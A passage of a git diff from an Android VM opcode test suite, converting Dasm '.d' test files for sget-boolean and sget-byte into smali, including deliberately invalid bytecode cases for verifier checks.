--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_19.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali
new file mode 100644
index 0000000..1bd8830
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_19.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.d
deleted file mode 100644
index 79d51ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_20.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali
new file mode 100644
index 0000000..a9c9d3b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_20.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.d
deleted file mode 100644
index c3271ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_3.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_3
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v3, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_3.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali
new file mode 100644
index 0000000..0ccf40b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_3.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v3, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_3;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.d
deleted file mode 100644
index 2ef169f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_4.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_4
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_4.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali
new file mode 100644
index 0000000..47494bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_4.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_4;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.d
deleted file mode 100644
index 8edf874..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_5.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_5
-.super java/lang/Object
-
-.field public i1 Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 1
-       iput-boolean v2, v3, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_5.i1 Z
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_5.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali
new file mode 100644
index 0000000..7843f12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_5.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;
+.super  Ljava/lang/Object;
+
+.field public i1:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;->i1:Z
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_5;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.d
deleted file mode 100644
index 2bd59dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_6.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.TestStubs.TestStubField Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali
new file mode 100644
index 0000000..6e2b344
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_6.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/TestStubs;->TestStubField:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.d
deleted file mode 100644
index 32ef38f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_7.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_7no_class.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali
new file mode 100644
index 0000000..0c728bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_7.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_7no_class;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.d
deleted file mode 100644
index 04c780c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_8.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_8.i1N Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali
new file mode 100644
index 0000000..db82b1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_8.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_8;->i1N:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..cd1f652
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_boolean/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:Z
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-boolean v1, Ldot/junit/opcodes/sget_boolean/d/StubInitError;->value:Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/T_sget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/T_sget_boolean_9.smali
new file mode 100644
index 0000000..73643e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/T_sget_boolean_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_9;
+.super Ljava/lang/Object;
+.source "T_sget_boolean_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 3
+
+    sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/StubInitError;->value:Z
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.d
deleted file mode 100644
index 314c2b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_1.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_1
-.super java/lang/Object
-
-.field public static i1 B
-.field protected static p1 B
-.field private static pvt1 B
-
-.method static <clinit>()V
-.limit regs 1
-       const v0, 77
-       sput-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.i1 B
-
-       const v0, 77
-       sput-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.p1 B
-
-       const v0, 77
-       sput-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.pvt1 B
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali
new file mode 100644
index 0000000..96373d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_1.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+.field protected static p1:B
+.field private static pvt1:B
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->i1:B
+
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->p1:B
+
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->pvt1:B
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.d
deleted file mode 100644
index 2c6fb91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_11.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_11
-.super dot/junit/opcodes/sget_byte/d/T_sget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_byte/d/T_sget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.p1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali
new file mode 100644
index 0000000..e955f5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
